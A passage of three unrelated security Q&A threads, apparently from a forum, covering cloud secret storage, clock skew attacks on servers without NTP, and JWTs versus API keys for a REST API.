Storing the secret on the cloud filesystem is insecure, since the main point is to keep the secret from being accessible to anyone who breaches the cloud filesystem.  (If the cloud filesystem were perfectly secure, we would not need to encrypt the data there.)  Also, given that cloud resources are expected go down and need restarting, relying on the cloud to hold the secret is unreliable.
Storing the secret in the code is unacceptable, for many reasons including:  version control, plain-text storage, reverse engineering, key rotation, etc.  See also Should a closed source website keep a secret key in its source?.
Storing the secret in an HSM is impractical, since we cannot attach one to a virtual cloud server.  See also Storage of 'secrets', keystores, HSMs and the rest.
Storing the secret outside the cloud for remote loading by the application is also problematic:  we are looking for a purely cloud-based approach to avoid having any internal servers to maintain; network reliability is not guaranteed; authenticating the cloud server's request for secret on the internal server has its own issues; etc.
Any manual interaction should be minimized, since we want servers to start and restart as automatically as possible to reduce any downtime or human errors.  My guess is that manual interaction may be necessary.

So, what is the best practice for storing a secret on the cloud?  How should a web app load such a secret?  I would be particularly interested in a Java solution, but this is a general problem in any language.

"In the Cloud" means "on a virtual machine which runs on the infrastructure of some big company with which we have a contractual relation". By definition, when you store things "in the cloud", you are trusting the cloud provider. That provider has all the technical power to look at the fine details of the entrails of your code and data and everything you store on these machines.

It's like trying to maintain the integrity of your body, when you are already on the operation table, under general anesthesia, and the surgeon has his scalpel in hand. It's a bit late to mistrust the surgeon...

If the secret is valuable, then don't store it in the cloud. Said otherwise: if you cannot afford the extra cost of a dedicated hardware server, then the secret data cannot be worth that much -- or possibly you are way too much avaricious for your own good.


Are servers that do not implement time services vulnerable to clock skew attacks? An article describes clock skew attack possibilities §§:

  These can be attacked by repeatedly connecting to the hidden service, causing its CPU load, hence temperature, to increase and so change the clockskew. Then the attacker requests timestamps from all candidate servers and finds the one demonstrating the expected clockskew pattern.

If a server does not use time synchronization services like NTP etc, is it still vulnerable to clockskew attacks?

To be clear, the server only has a local clock and time is kept up-to-date by an administrator manually updating the system clock at random times, as and when it's needed.

Yes, because they are not referring to the "RTC clock" only when they refer to "clockskew".

The clocks they mention are the Crystals that "clock" the logic. so the CPU,clock. the Memory clock, the network clock, etc.

the RTC is the only clock that really gets influenced by an NTP service.


Short living Json Web Tokens (understanding problem of JWT) I considered using JWT for my REST-APi. The user should login at /api/login with basic auth and retrieves a JWT which is used for further requsts. At the beginning it was planned to have a very long life time for the token.

Now there are two problems:
1. the JWT should be blacklisted/invalidated
2. the roles of the user may change. The token should not send old roles.

So the solution is to use JWTs that expire early. But seriously, if I have to login at /api/login everytime, why don't I use basic auth for everything?

Of course I could also code a background service for the device that refreshes the token every few minutes using the old token. But what if the REST service or client is down of an hour? Everyone would be logged out. Also I do not want a background job which always refreshes tokens, even if the App is detached.

So I will end up with a database query that fetches the roles of the user and also checks if the JWT is not blacklisted at every request. Will there be any difference to the use of normal API keys then?

JWTs are self describing bearer tokens. You experience the two problems described (stale tokens, invalidation), because JWTs are not designed for this use-case.

I suggest you stick with API keys and store expiry and roles on the backend. It is simple and effective.

If you start blacklisting and querying roles with JWT you will end up in the same place with more complexity.